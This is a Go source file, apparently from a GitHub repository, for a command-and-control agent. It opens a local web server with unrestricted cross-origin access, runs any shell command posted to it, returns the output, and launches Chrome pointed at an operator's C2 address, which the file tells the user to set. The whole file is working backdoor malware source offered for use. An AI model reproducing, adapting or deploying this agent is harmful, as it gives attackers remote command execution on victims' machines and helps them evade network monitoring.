/
agent.go
109 lines (79 loc) · 1.98 KB
/
agent.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package main
import (
"github.com/gorilla/mux"
"net/http"
"fmt"
"encoding/json"
"os/exec"
"strings"
)
var Commands []string
var Data []string
var port = 8081
var AccessOrigin = "*"
var C2Url = "http://?.?.?.?:8080/main/" // C2 URL . CHANGE TO YOUR OWN
func GetAgentName() string{
// To be implemented
return "Agent1"
}
func GetIndex(w http.ResponseWriter, r *http.Request){
w.Write([]byte("OK"))
}
func GetData(w http.ResponseWriter, r *http.Request){
w.Header().Set("Access-Control-Allow-Origin", AccessOrigin)
json_data, _ := json.Marshal(Data)
w.Write(json_data)
// Clean the data array
Data = []string{}
}
func ExecuteCommand(command string){
args := strings.Split(command," ")
if len(args) >= 1{
out, err := exec.Command(args[0],args[1:]...).Output()
if err != nil {
Data = append(Data,string(err.Error()))
return
}
Data = append(Data,string(out))
}else{
out, err := exec.Command(args[0]).Output()
if err != nil {
Data = append(Data,string(err.Error()))
return
}
Data = append(Data,string(out))
}
}
func HandleCommands(commands []string){
for _, command := range commands{
ExecuteCommand(command)
}
}
func AddCommand(w http.ResponseWriter, r *http.Request){
var commands []string
w.Header().Set("Access-Control-Allow-Origin", AccessOrigin)
json_commands := r.FormValue("cmd")
json.Unmarshal([]byte(json_commands),&commands)
HandleCommands(commands)
w.Write([]byte("OK"))
}
func OpenBrowser(){
BrowserPath := "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"
_, err := exec.Command(BrowserPath, C2Url+GetAgentName()).Output()
if err != nil {
fmt.Println(err)
}
return
}
func main() {
listener := mux.NewRouter()
listener.HandleFunc("/",GetIndex).Methods("GET")
listener.HandleFunc("/data/",GetData).Methods("GET")
listener.HandleFunc("/command/",AddCommand).Methods("POST")
server := &http.Server{
Addr:fmt.Sprintf("127.0.0.1:%d",port),
Handler:listener,
}
go server.ListenAndServe()
OpenBrowser()
}